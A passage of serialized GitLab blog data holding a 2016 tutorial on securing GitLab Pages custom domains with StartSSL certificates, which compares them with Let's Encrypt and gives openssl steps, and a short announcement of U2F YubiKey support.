Gitlab","en-us/blog/get-started-with-openshift-origin-3-and-gitlab.yml","en-us/blog/get-started-with-openshift-origin-3-and-gitlab",{"_path":37939,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37940,"content":37946,"config":37950,"_id":37952,"_type":16,"title":37953,"_source":17,"_file":37954,"_stem":37955,"_extension":20},"/en-us/blog/secure-gitlab-pages-with-startssl",{"title":37941,"description":37942,"ogTitle":37941,"ogDescription":37942,"noIndex":6,"ogImage":37943,"ogUrl":37944,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37944,"schema":37945},"Secure GitLab Pages with StartSSL","A quick overview on SSL/TLS certificates and StartCom CA and a comparison between StartSSL Class 1 and Let's Encrypt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684890/Blog/Hero%20Images/startssl-gitlab-pages-cover.jpg","https://about.gitlab.com/blog/secure-gitlab-pages-with-startssl","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure GitLab Pages with StartSSL\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-06-24\",\n      }",{"title":37941,"description":37942,"authors":37947,"heroImage":37943,"date":37948,"body":37949,"category":734},[34953],"2016-06-24","**StartCom** certificates have recently been **distrusted** by [Mozilla Firefox](https://blog.mozilla.org/security/2016/10/24/distrusting-new-wosign-and-startcom-certificates/) and [Google Chrome](https://security.googleblog.com/2016/10/distrusting-wosign-and-startcom.html). Certs issued prior to October 21st, 2016 don't seem to have been affected and are therefore still trusted.\u003Cbr>\nIn response to my contact, StartCom affirmed they're working hard to revert this situation and hope to have a resolution by the end of January, 2017.\u003Cbr>\n\u003Cspan class=\"note\">Update by Marcia Ramos, on 2016/12/20.\u003C/span>\n\nWith [GitLab Pages][pages] you can host your static website under your custom domain.\nWith a [StartSSL] digital certificate you can secure it. And that's all for **free**!\n\nIn this post, first we'll give you a quick overview on SSL/TLS certificates and StartCom CA, then\nwe will show you a comparison between [StartSSL Class 1][startssl-class-1] and [Let's Encrypt][lets]\nto facilitate your decision to choose one over another.\n\nFinally, we will guide you through the process of securing your GitLab Pages site\nwith **[StartSSL Class 1 free certificates][startssl-class-1]**.\n\n**Note:** We assume you are familiar with web development and web hosting.\n\n\u003C!-- more -->\n\n----------\n\n### What's in this tutorial?\n- TOC\n\n----\n\n## HTTPS: a quick overview\n\n### Why should I care about HTTPS?\n\nPerhaps this might be your first question. If our sites are hosted by [GitLab Pages][pages],\ntherefore they are [static][ssg-post], hence we are not dealing with server-side scripts\nnor credit card transactions, so why do we need secure connections? \n\nBack in the 1990s, where HTTPS came out, [SSL]\u003Csup>[1](#1)\u003C/sup> was considered a \"special\"\nsecurity measure, necessary just for big folks, like banks and shoppings sites with financial transactions.\nNow we have a different picture. [According to Josh Aas][lets-quote], [ISRG] Executive Director:\n\n> _We’ve since come to realize that HTTPS is important for almost all websites. It’s important for any website that allows people to log in with a password, any website that [tracks its users][lets-ref1] in any way, any website that [doesn’t want its content altered][lets-ref2], and for any site that offers content people might not want others to know they are consuming. We’ve also learned that any site not secured by HTTPS [can be used to attack other sites][lets-ref3]._\n\nHow about taking Josh's advice and protecting our sites too? We will be well supported,\nand we'll contribute to a safer internet.\n\n### Organizations supporting HTTPS\n\nThere is a huge movement in favor of securing all the web. W3C fully [supports the cause][w3c-https]\nand explains very well the reasons for that. Richard Barnes, a writer for Mozilla Security Blog,\nsuggested that [Firefox would deprecate HTTP][moz-http-deprecate], and would no longer accept\nunsecured connections. Recently, Mozilla published a [communicate][moz-comm] reiterating the importance of HTTPS.\n\n### Free SSL/TLS Certificates\n\nAs individuals, dealing with small sites for promoting ourselves and our work, we might not be\ninterested in buying a premium\u003Csup>[2](#2)\u003C/sup> [TLS]\u003Csup>[1](#1)\u003C/sup> certificate issued by\na robust [Certification Authority (CA)][wiki-ca], like [Comodo] or [Symantec]. But now we have a\nchoice! We can use free certificates, like the ones issued by [Let's Encrypt][lets] and [StartCom][startssl].\n\n----\n\n**Note 1:** [SSL] stands for **Secure Sockets Layer**, which is the predecessor of **Transport Layer Security** ([TLS]).\n\n**Note 2:** Premium certificates examples: [Comodo SSL/TLS][comodo-ssl], [StartSSL SSL Class 2][startssl-class-2],\n[Symantec SSL][symantec-ssl]. They offer support for e-commerce and grant a huge warranty to their customers.\n\n----\n\n## StartCom\n\n[Start Commercial Ltd. (StartCom)][startssl] was [founded][startssl-about] by [Eddy Nigg] in 2005,\nwho wanted to engage in a \"revolution\" of the digital certification industry, making certificates\nmore affordable and with better quality. StartCom has become the world's sixth largest Certificate\nAuthority, covering nearly one million registered subscribers, and more than 400,000 websites.\n\n[StartSSL™][startssl-class-1] is the [StartCom][startssl] service brand of its digital certificates\nissuing division, it offers [free SSL certificates][startssl-about] and free email encryption certificates\nfor worldwide subscribers. Thus, on this post, **StartCom** refers to the **Certificate Authority**,\nwhile **StartSSL** is attributed to **certificates** issued by **StartCom**.\n\nAmong four classes of StartSSL certificates, there is one **free**, called [Class 1][startssl-class-1].\nThis is the one will be referencing to in this post. But, of course, you are free to choose their premium products too.\nOn their website, you can find a [comparison chart][startssl-compare] for their certificates.\n\n[StartCom Certificate Policy & Practice Statements][startssl-policy] covers a lot of procedures to make\nsure they can trust their customers information. That document states rules, obligations, validations, etc.\nGeneral information can be found through their [documentation][startssl-docs].\n\n### StartSSL Class 1 Features\n\n- Certificates can be [issued in minutes][startssl-class-1]\n- There are two methods of domain verification: email, or code file validation\u003Csup>[3](#3)\u003C/sup> \n- [Certificates are valid for 1 year][startssl-one-year], with [unlimited renewal allowance][startssl-renewal]\n- The [CSR (Certificate Signing Request)][csr] can be generated from any O.S. (Linux, Mac or Windows)\n- S/MIME Client\u003Csup>[4](#4)\u003C/sup> + Authentication\n- Supported by [all browsers and servers][startssl]\n- Live chat support 24/7\n\n----\n\n**Note 3:** Code file validation is a file provided by an institution, which needs to be uploaded\nto the site root. It's a simple HTML file containing a token to verify that we hold that particular\ndomain. It's not used just by CAs. For example, it is also used by Google,\nas a [method for site ownership verification][google-verif].\n\n**Note 4:** [S/MIME][wiki-smime] client certificates are used for client authentication to\nwebsites and for the signing, encryption and decryption of personal data. Most commonly they\nare used for email signing and encryption, but also PDF and office documents. Higher validated\ncertificates can be used to sign contracts in digital format. Source:\n[StartCom UI - Certificates][startssl-certs] (you'll need to be logged into StartCom to have access to this link).\n\n----\n\n### StartSSL Class 1 Limitations\n\n**StartSSL Class 1** certificates cover a lot of attractive features, but have some [limitations][startssl-compare]:\n\n- There is no support for [wildcard DNS record][wildcard], `*.example.com` \n- We are limited to issue certificates for up to 5 domains\n- We can't use commercial \"sensitive\" names for our domains or subdomains (e.g, \"store\", \"buy\", \"shop\", etc)\n- [Revocations carry a handling fee][startssl-revocation] of currently US$ 9.90. Though we may\nuse a different subdomain in order to create additional certificates without the need to\nrevoke a previously created certificate\n\n### StartSSL **vs** Let's Encrypt\n\n[Let's Encrypt][lets] is a free, automated, and open Certificate Authority (CA), provided by\n[Internet Security Research Group (ISRG)][isrg]. They are the first CA to offer exclusively\nfree certificates. They are great, their product is awesome. However, they have some limitations\ntoo. To facilitate our overview and compare Let's Encrypt to StartSSL Class 1 certificates,\nlet's take a look at the table below.\n\n| Feature | StartSSL Class 1 | Let's Encrypt |\n| ---- | :---- | :---- |\n| **Cost** | Free | Free |\n| **Expiration** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [In 1 year][startssl-class-1-features] (365 days) | [In 3 months][lets-renewal] (90 days) |\n| **Client Install / CSR** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> All OSs | Complicated on [Windows][lets-win] |\n| **CSR method** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> Desktop App or command line | Command line only |\n| **Browser Support** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [All][startssl-about] | [Most of them][lets-browser-support] |\n| **Server Support** | [All][startssl-about] | All, with [plugins][lets-plugins] | \n| **Revocation** | [Paid][startssl-revocation] | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [Free][lets-features] |\n| **S/MIME Client Auth** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [Supported][startssl-class-1-features] | [Not supported][lets-smime] |\n| **Insurance** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [$ 10,000 USD][startssl-class-1-features] | [None][lets-features] | \n| **Customer support** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [Live Chat, Phone][startssl-support], Ticket | [Forum][lets-forum] |\n| **Hash Algorithm** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> SHA-256, SHA-384, SHA-512 | [SHA-256][lets-sha-256] |\n| **Domain validation** | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> Email or Code file Validation | [Code file validation][lets-domain-validation] |\n| **Domains limit** | [5 domains][startssl-class-1-features] | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> [Limited][lets-limits] |\n| **Subdomains** | Supported | Supported |\n| **Free domains** | Supported | Supported |\n| **Domain name** | Non-commercial names | \u003Ci class=\"fas fa-check\" style=\"color: green;\">\u003C/i> Unrestricted |\n| **Wildcard support** | No | No | \n| **Support EV certificates** | [Upgrading (paid)][start-ssl-ev] | No |\n\nThe information gathered within the table above is available across [StartCom][startssl] website,\ntheir [FAQ][startssl-faq] and their [Policy][startssl-policy]. \n\nFor additional info on Let's Encrypt, you can read their [Certificate Policy][lets-cp],\ntheir [documentation][lets-docs], and this post [Tutorial: Securing your GitLab Pages\nwith TLS and Let's Encrypt][gitlab-post-lets].\n\n## StartSSL with GitLab Pages\n\nDigital certificates are applicable to your [GitLab Pages][pages] project only when you \nse a **custom domain**, as all standard `https://namespace.gitlab.io` urls are secure by default.\n\nWith GitLab Pages we can host our static website, use custom domains (and aliases), and secure our\ndomains with SSL/TLS certificates **for free**. Cost zero, no credit card, no hidden fees! This is\ndetailed in the tutorial \"[Hosting on GitLab.com with GitLab Pages][gitlab-post-pages]\". Also, you can\nread the [quick start guide][pages], and the [documentation][pages-doc] for GitLab Pages.\n\nGitLab Pages supports [PEM] certificates issued by any [CA][wiki-ca], though we need to make sure\nthat the certificate is compatible with [NGINX], the server [where GitLab runs on][gitlab-nginx].\n\nStartCom certificates are retrievable from their [User Interface (UI)][startssl], where you have\naccess to your own information, certificates requests, expiration dates, etc. \n\n### Before getting started\n\nFor the following steps, we assume:\n\n- You already have your custom domain\n- Your project is configured for GitLab Pages \n- Your site is accessible under `http://example.com` or `http://your.example.com` \n\nIf you don't know how to do that, please check this tutorial first: [Hosting on GitLab.com with GitLab Pages][gitlab-post-pages].\n\n## Step-by-step\n\nThe scheme below illustrates the steps we'll take to secure our GitLab Pages sites with StartSSL Class 1 certificates:\n\n![StartSSL with GitLab Pages - step-by-step scheme](https://about.gitlab.com/images/blogimages/startssl-gitlab-pages/startssl-gitlab-pages-scheme.png)\n\n### Step 1: Getting started with StartCom\n\n#### Sign up\n\nStartCom login is certificate-based, which is considered a [high-security user authentication][pki-google-book] method.\nUnlike other mechanisms for web-based authentication, certificates ensure the person or machine is who they claim to be.\n[Certificate-based authentication][startssl-user-auth] also provides data encryption capabilities between the client and the server.\n\n- Navigate to StartCom and [sign up][startssl-sign-up]\n- Enter your country and email address to the respective fields\n- Verify your e-mail (follow their instructions, which are very simple)\n- The system will issue a certificate for your email and save it locally, which will be your\nuser authentication to log in. Choose \"The system generate private key and CSR\", enter your\npassword, and download the file\n- [Import the certificate to your browser][import-cert-browser]. This will allow you to log\ninto your account in one click from then on \n\nOn the next screen, StartCom will present all their certificate options. Choose the box \"Free - Class 1 SSL\".\n\n#### Domain Validation \n\nDomain validation is necessary to make sure that the domain you are issuing the certificate for, is really yours.\n\n- Open the tab **Validation Wizard** -> **Domain Validation** -> add your domain to the field -> **Continue**. \n- Choose the method for domain validation (**a** or **b**): \n   - (a) **e-mail**: take a look at the default emails presented on the box and see if you\n   have access to one of them. If you don't, jump to \"method **b**\". Otherwise, first open\n   your email account and keep it opened. Then, choose one of the radio buttons correspondent\n   to your email and click on **Send verification code**. The code will be sent to your email,\n   and it will be valid for only **60 seconds**. Switch to your email, copy the code, switch\n   back to StartCom, and paste it to the field **Verification code** -> **Validation**. Done!\n   - (b) **code file**: choose  **website control validation** -> download the code file and\n   leave StartCom opened. Push the code file to your site root in your GitLab Pages project.\n   Wait until the build succeeds. Go back to StartCom and click on **the verification file is ready on website, Continue**. Done!\n- Once your domain was verified, click on the link **To \"Order SSL Certificate\"**\n\n#### Certificate Request\n\n- In the box **Please enter the full hostname for SSL certificate**, enter your domain name. There are a few options:\n   - you can enter only the root domain \n   - enter the root domain and some subdomains \n   - enter multiple domains (up to 5). \n\n   Suggestion? Issue one different certificate per domain or subdomain; if something goes wrong, it will be just one to fix.\n- Choose the first option: the radio button for PEM certificates **Generate by myself**.\nIt will open a text area where you'll add the CSR we'll generate next. Leave the tab opened\u003Ca name=\"tab-step-1\">\u003C/a>.\n\n![StartCom - Certificate Wizard - CSR](https://about.gitlab.com/images/blogimages/startssl-gitlab-pages/startssl-gitlab-pages-gen-csr.png)\n\n### Step 2: Generate the CSR\n\nFor this particular step, we have two different approaches: [Linux and Mac](#unix) (Unix), or [Windows](#win).\n\n#### On Linux and Mac\n\n- Open the terminal and check if you have [OpenSSL] installed: `$ openssl version`.\nIf the response is not `OpenSSL x.x.x date`, install it before continue\n- Run the command recommended by StartCom:\n\n      openssl req -newkey rsa:4096 -keyout yourkeyname.key -out yourkeyname.csr\n\n  Use `sudo` if needed. Alternatively, you can keep the key length at `rsa:2048`.\n  The file name (`yourkeyname`) can be chosen at your will\n- Enter the PEM passphrase (it's like a password)\n- Verify it by typing the same passphrase again. Memorize it or make a note.\n- The terminal will ask you questions. Answer the first, then you can leave the others\nblank if you want (hit Enter/Return). Done!\n\nThe files you'll need next will be in the `~home` directory. Open in a text editor both `yourkeyname.key`\nand `yourkeyname.csr`. The first is your private encrypted key. The last is the CSR. The `.key` file will\nbe necessary for [Step 5](#step-5-decrypt-your-private-key) ahead. \n\n#### On Windows\n\n**Note:** the numbers in the parentheses correspond to the numbers on the image below.\n\n- Download the binary file **StartComTool.exe** and launch it \n- Go to the tab **CSR** (1)\n- On the top right, click a small link **Professional mode** (2)\n- Choose the radio button **SSL Certificate** (3)\n- Enter the **Domain name** to its field and fill the country information (4)\n- Choose the radio button **Generate private key** (5)\n- Enter a password (passphrase) and repeat it below (6). Memorize or make a note\n- Choose the hash algorithm and the key length (7)\n- Click **Generate CSR** (8)\n- You will be prompted to choose a file name, and a directory to store both `yourkeyname.key` and\n`yourkeyname.csr`. The `.key` file will be necessary for [Step 5](#step-5-decrypt-your-private-key) ahead.\n\nThe CSR will be shown in the box on the right of the application. Copy all the content (use the button **Copy**) (9).\n\nThe image below illustrates how the desktop application looks like:\n\n![StartCom Tool - Windows](https://about.gitlab.com/images/blogimages/startssl-gitlab-pages/startssl-gitlab-pages-windows.png)\n\nAlternatively, you can follow [these instructions][google-gen-csr] to generate the CSR via command line on Windows.\n\n### Step 3: Issue your certificate\n\n- Go back to [StartCom][startssl-csr-enter]\n- Copy the content of the file `yourkeyname.csr`\n- Paste it into the text-area we [had left opened](#tab-step-1) on Step 1\n- Click **Submit**\n- Done! Your certificate must have been issued!\n\n### Step 4: Retrieve your certificate\n\nWhen you download your certificate, you'll notice that it comes within a zipped folder with 4\noptions for you to use: Apache, Nginx, IIS, Other. The certificate you'll use for **GitLab Pages**\nis the one in the `NginxServer` directory.\n\n- On your StartCom UI, go to **Tool Box** -> **Certificate List** -> **Retrieve**\n- Download and unzip the file\n- Unzip the folder named `NginxServer`, your certificate will be there. It has a `.cf_bundle` extension\n- Open the certificate with a text-editor and leave it opened. We'll need it for\n[Step 6](#step-6-add-domain-and-certificate-to-your-project) ahead\n\nThe certificate looks like the code below.\n\n```\n-----BEGIN CERTIFICATE-----\nMQswCKIhggfrOJmJJTDEWjkfhMNU3RhcndfjdfnuNJFHUnjfhjEGJSNSInjsnxLg\n... \nnEFH63o+ycNl2jR29jd8c8c+MBIWrYGH8TPy0GCIguwTEzY=\n-----END CERTIFICATE-----\n\n-----BEGIN CERTIFICATE-----\nMQswjsdbsfbdsfnKJHUNAIHoihushdiKHJUhcnRDsjdhJBSD786523987JHSDxLg\n... \n3KSjh872631903rjfefy47fh49fjjqjdjqd9e8fuufe8MbLm==\n-----END CERTIFICATE-----\n```\n\n### Step 5: Decrypt your private key\n\nThe key we'd generated on [Step 2](#step-2-generate-the-csr), `yourkeyname.key`, is our private **encrypted** key.\nThis key should **not** be used nor exposed. It's necessary to **decrypt** it before using. To make it easier to\nrecognize theses keys, observe that the code for an **encrypted** private key will always begin with\n`BEGIN ENCRYPTED PRIVATE KEY`, while a **decrypted** private key will always begin with `BEGIN RSA PRIVATE KEY`.\n\nThere are two ways to proceed in this case: [via command line (option A)](#cmd) and via [StartCom UI (option b)](#ui).\nChoose whichever option you feel more comfortable with.\n\n#### Option A: Via command line\n\nIn your terminal, type \n\n```\nopenssl rsa -in yourkeyname.key -out yourkeyname-decrypted.key\n```\n\nwhere `yourkeyname` is the name of the encrypted key and `yourkeyname-decrypted.key` will be the name of the decrypted key.\nUse the same password you set up before (on Step 2) when prompted. Your new key will be in your `~home` directory.\n\nOn Windows, proceed likewise, but `cd path/to/folder` before beginning. The decrypted key will be stored in the same\ndirectory you've just navigated to.\n\n#### Option B: Via StartCom UI\n\n- On your [StartCom UI][startssl], navigate to the **Tool Box** tab and click **Decrypt Private Key**\n- Locally, open the private encrypted key in a text-editor. Copy all its content.\n- Back to the UI, paste the content to the text-area and type your passphrase (used on Step 2)\n- Click **Decrypt**\n- Copy the decrypted key from the new box\n- Paste the key in a new document and save it. Leave it opened, we'll need it for the next step\n- Done!\n\nThe image below illustrates the result of the steps above.\n\n![StartCom - decrypt private key](https://about.gitlab.com/images/blogimages/startssl-gitlab-pages/startssl-gitlab-pages-decrypt-key.png)\n\n### Step 6: Add domain and certificate to your project\n\nFinally, let's add the key and the certificate to our project:\n\n- On your GitLab UI, open your **Project's Settings** (\u003Ci class=\"fas fa-cog\" aria-hidden=\"true\">\u003C/i>) and navigate to **Pages**\n- If your domain (the one you just issued the certificate for) is already added to that project,\n**remove** it. Don't worry, we'll add it back\n- Click **+ New Domain**\n- Add the domain to the first field\n- Copy the certificate from [Step 4](#step-4-retrieve-your-certificate), and paste it to the second field\n- Copy the **decrypted** private key from [Step 5](#step-5-decrypt-your-private-key), and paste it to the third field\n- Click **Create New Domain**\n- Done!\n\n![StartCom - add key and certificate to GitLab project](https://about.gitlab.com/images/blogimages/startssl-gitlab-pages/startssl-gitlab-pages-demo.png)\n\nIf we've set up everything correctly, this is the screen we'll see on our GitLab UI:\n\n![StartSSL + GitLab - valid certificate](https://about.gitlab.com/images/blogimages/startssl-gitlab-pages/startssl-gitlab-pages-certificate-valid.png)\n\nNow your domain will be accessed under secure HTTPS protocol and will display on the browser the\ngreen lock we were looking forward to see! You can perform a test to check your certificate\nwith [Site 24x7][site-24-7], if you want.\n\nDo you want to see a working example of a GitLab Pages Project secure with StartSSL Class 1?\nVisit \u003Chttps://gitlab.virtuacreative.com.br> and click on the green lock\n(\u003Ci class=\"fas fa-lock\" style=\"color:rgb(0,192,29)\" aria-hidden=\"true\">\u003C/i>) to check the certificate.\nThis URL is an alias for \u003Chttps://virtuacreative.gitlab.io>.\n\n## Getting Help\n\nIf you need some help regarding GitLab Pages on GitLab.com,\nfeel free to use one of [our channels][get-help]. You can also\nopen an issue on the [Pages][pages-issues] group.\n\n## Conclusion\n\n\u003C!-- TO BE IMPROVED -->\n\nHopefully, now you understand why HTTPS protocol is important even for static sites, and you know how to issue a free\ncertificate from [StartCom][startssl]. With secure urls, we are contributing to a better and safer internet!\n\nDon't you have an account on [GitLab.com][sign-up] yet? Let's create one!\nRemember, we can use GitLab Pages to [build any SSG][gitlab-post-pages] for us, and host any static site for free!\n\nFollow [@GitLab][twitter] on Twitter and stay tuned for updates!\n\n\u003C!-- Green lock, public domain: https://commons.wikimedia.org/wiki/File:Move_protect.svg -->\n\n\u003C!-- Cover image, Creative Commons Zero: http://gratisography.com/ -->\n\n\u003C!-- IDENTIFIERS --> \n\n\u003C!-- Alphabetical, miscellaneous -->\n\n[comodo]: https://www.comodo.com/\n[comodo-ssl]: https://ssl.comodo.com/?key5sk1=8721b4e5835982357f2a40802cc408ec59a88e2b\n[csr]: https://en.wikipedia.org/wiki/Certificate_signing_request\n[Eddy Nigg]: https://twitter.com/eddy_nigg\n[google-verif]: https://support.google.com/webmasters/answer/35179?hl=en\n[google-gen-csr]: https://developers.google.com/web/fundamentals/security/encrypt-in-transit/generating-keys-and-csr#generate-a-csr\n[import-cert-browser]: http://help-icc.untangle.com/Content/User%20Guide/UI_Tabs/SSLCertificateGPO_v4/Appendix%20B%20Installing%20the.htm\n[isrg]: https://en.wikipedia.org/wiki/Internet_Security_Research_Group\n[lets]: https://letsencrypt.org/\n[lets-browser-support]: https://community.letsencrypt.org/t/which-browsers-and-operating-systems-support-lets-encrypt/4394\n[lets-cp]: https://letsencrypt.org/repository/\n[lets-docs]: https://letsencrypt.readthedocs.org/en/latest/intro.html\n[lets-domain-validation]: https://letsencrypt.org/how-it-works/#domain-validation\n[lest-faq]: https://community.letsencrypt.org/t/frequently-asked-questions-faq/26\n[lets-features]: http://letsencrypt.readthedocs.org/en/latest/intro.html?highlight=revoke#current-features\n[lets-forum]: https://community.letsencrypt.org/\n[lets-limits]: https://community.letsencrypt.org/t/rate-limits-for-lets-encrypt/6769\n[lets-quote]: https://letsencrypt.org/2015/10/29/phishing-and-malware.html\n[lets-plugins]: https://letsencrypt.readthedocs.org/en/latest/using.html#plugins\n[lets-ref1]: https://www.washingtonpost.com/news/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/\n[lets-ref2]: http://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/\n[lets-ref3]: http://krebsonsecurity.com/2015/04/dont-be-fodder-for-chinas-great-cannon/\n[lets-renewal]: http://letsencrypt.readthedocs.org/en/latest/using.html#renewal\n[lets-requirements]: http://letsencrypt.readthedocs.org/en/latest/intro.html?highlight=revoke#system-requirements\n[lets-sha-256]: https://community.letsencrypt.org/t/does-the-certificate-offer-a-sha-2-signature/8914\n[lets-smime]: https://community.letsencrypt.org/t/s-mime-certificates/153\n[lets-win]: https://cultiv.nl/blog/lets-encrypt-on-windows/\n[moz-http-deprecate]: https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/\n[moz-comm]: https://blog.mozilla.org/security/2016/03/29/march-2016-ca-communication/\n[nginx]: https://www.nginx.com/\n[openssl]: https://www.openssl.org/\n[pages]: https://pages.gitlab.io/\n[pages-doc]: http://doc.gitlab.com/ee/pages/README.html\n[pem]: https://support.ssl.com/Knowledgebase/Article/View/19/0/der-vs-crt-vs-cer-vs-pem-certificates-and-how-to-convert-them\n[pki-google-book]: https://books.google.com.br/books?id=oswvyhAftLsC&pg=PA69&redir_esc=y#v=onepage&q&f=false\n[sha]: https://en.wikipedia.org/wiki/Secure_Hash_Algorithm\n[site-24-7]: https://www.site24x7.com/ssl-certificate.html\n[ssg-post]: /blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static/\n[symantec]: https://www.symantec.com/\n[symantec-ssl]: https://www.symantec.com/ssl-certificates/\n[startssl]: https://startssl.com/\n[startssl-about]: https://startssl.com/\n[startssl-certs]: https://startssl.com/\n[startssl-class-1]: https://startssl.com/\n[startssl-class-1-features]: https://startssl.com/\n[startssl-class-2]: https://startssl.com/\n[startssl-compare]: https://startssl.com/\n[startssl-csr-enter]: https://startssl.com/\n[startssl-docs]: https://startssl.com/\n[start-ssl-ev]: https://startssl.com/\n[startssl-faq]: https://startssl.com/\n[startssl-one-year]: https://startssl.com/\n[startssl-policy]: https://startssl.com/\n[startssl-renewal]: https://twitter.com/startssl/status/213348291654594560\n[startssl-revocation]: https://startssl.com/\n[startssl-sign-up]: https://startssl.com/\n[startssl-support]: https://startssl.com/\n[startssl-user-auth]: https://www.entrust.com/wp-content/uploads/2013/05/DS_MSO_UserWebAuth_web_July2012.pdf\n[static webpage]: https://en.wikipedia.org/wiki/Static_web_page\n[ssl]: https://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0.2C_2.0_and_3.0\n[tls]: https://en.wikipedia.org/wiki/Transport_Layer_Security\n[w3c-https]: https://w3ctag.github.io/web-https/\n[wiki-ca]: https://en.wikipedia.org/wiki/Certificate_authority\n[wiki-smime]: https://en.wikipedia.org/wiki/S/MIME\n[wildcard]: https://en.wikipedia.org/wiki/Wildcard_DNS_record\n\n\u003C!-- GitLab -->\n\n[about-gitlab-com]: /\n[get-help]: /get-help/\n[gitlab-com]: /gitlab-com/\n[pages]: https://pages.gitlab.io\n[pages-ee]: http://doc.gitlab.com/ee/pages/README.html\n[pages-issues]: https://gitlab.com/pages/pages.gitlab.io/issues\n[gitlab-nginx]: http://doc.gitlab.com/ee/install/installation.html#nginx\n[gitlab-post-lets]: /blog/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt/\n[gitlab-post-pages]: /blog/gitlab-pages-setup/\n[sign-up]: https://gitlab.com/users/sign_in \"Sign Up!\"\n[twitter]: https://twitter.com/gitlab\n",{"slug":37951,"featured":6,"template":678},"secure-gitlab-pages-with-startssl","content:en-us:blog:secure-gitlab-pages-with-startssl.yml","Secure Gitlab Pages With Startssl","en-us/blog/secure-gitlab-pages-with-startssl.yml","en-us/blog/secure-gitlab-pages-with-startssl",{"_path":37957,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37958,"content":37963,"config":37967,"_id":37969,"_type":16,"title":37970,"_source":17,"_file":37971,"_stem":37972,"_extension":20},"/en-us/blog/gitlab-adds-support-for-u2f",{"title":37959,"description":37960,"ogTitle":37959,"ogDescription":37960,"noIndex":6,"ogImage":37517,"ogUrl":37961,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37961,"schema":37962},"Support for Universal 2nd Factor Authentication","GitLab now supports the FIDO Universal 2nd Factor (U2F) protocol for user authentication with hardware security from YubiKey.","https://about.gitlab.com/blog/gitlab-adds-support-for-u2f","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Support for Universal 2nd Factor Authentication\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amara Nwaigwe\"}],\n        \"datePublished\": \"2016-06-22\",\n      }",{"title":37959,"description":37960,"authors":37964,"heroImage":37517,"date":37965,"body":37966,"category":299},[36786],"2016-06-22","\nWith the [release of GitLab 8.9](/releases/2016/06/22/gitlab-8-9-released/), GitLab now supports the FIDO Universal 2nd Factor (U2F) protocol for user authentication with\nthe added layer of hardware security from [YubiKey](https://www.yubico.com/products/yubikey4/). We're excited to expand our authentication\ncapabilities to include U2F devices. U2F changes the game for online authentication because\nit uses public key cryptography and has built-in support to prevent phishing. This higher\nlevel of authentication enables developers to maintain the security of\ntheir servers, code, sites, and more from a single source.\n\n\u003C!-- more -->\n\n## Importance of account security\n\nWith the steady rise of new devices and the growing capabilities of existing ones, the average\nuser logs into networks, applications, or platforms from a variety of different devices. While\ndevice flexibility is great from a user perspective, it represents significant security\nchallenges for organizations and developers. Each new access point makes it tougher to fend off\nmalicious attacks particularly phishing while maintaining the integrity of accounts and systems.\n\n## Support for U2F YubiKey\n\nYubiKeys reduce the number of steps you have to take to access your accounts,\nwhile still maintaining usability and providing secure authentication with just a touch of the\nYubiKey. With U2F, you can now authenticate by inserting their YubiKey into the\nUSB port when prompted. You'll activate your YubiKey by simply pressing the button on\nthe device.\n\nThe same U2F YubiKey that works with GitLab also works for logging into a growing number of\nother services, including Google, Dropbox, and Dashlane, without any personal data or\nencryption secrets shared between service providers. With YubiKeys, there are no drivers or\nclient software to install.\n\n## Enabling two-factor authentication via U2F\n\nGitLab has supported two-factor authentication since the release of [GitLab 7.11](/releases/2015/05/22/gitlab-7-11-released/), adding\ndevice-enabled 2nd factor authentication provides an additional layer of security.\nIf you're interested in enabling two-factor authentication with a U2F device, follow the\nsteps in our [documentation](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html). Of course, you have the option to choose the\nauthentication method that is best for you.\n",{"slug":37968,"featured":6,"template":678},"gitlab-adds-support-for-u2f","content:en-us:blog:gitlab-adds-support-for-u2f.yml","Gitlab Adds Support For U2f","en-us/blog/gitlab-adds-support-for-u2f.yml","en-us/blog/gitlab-adds-support-for-u2f",{"_path":37974,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37975,"content":37981,"config":37986,"_id":37988,"_type":16,"title":37989,"_source":17,"_file":37990,"_stem":37991,"_extension":20},"/en-us/blog/how-we-scale-gitlab-by-having-docker-built-in",{"title":37976,"description":37977,"ogTitle":37976,"ogDescription":37977,"noIndex":6,"ogImage":37978,"ogUrl":37979,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37979,"schema":37980},"How we scale GitLab by having Docker built in","Read on for more details on how we scale GitLab by having Docker built in.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684707/Blog/Hero%20Images/scale-GitLab-Docker-built-in-cover.png","https://about.gitlab.com/blog/how-we-scale-gitlab-by-having-docker-built-in","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we scale GitLab by having Docker built in\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"DJ Mountney\"}],\n        \"datePublished\": \"2016-06-21\",\n      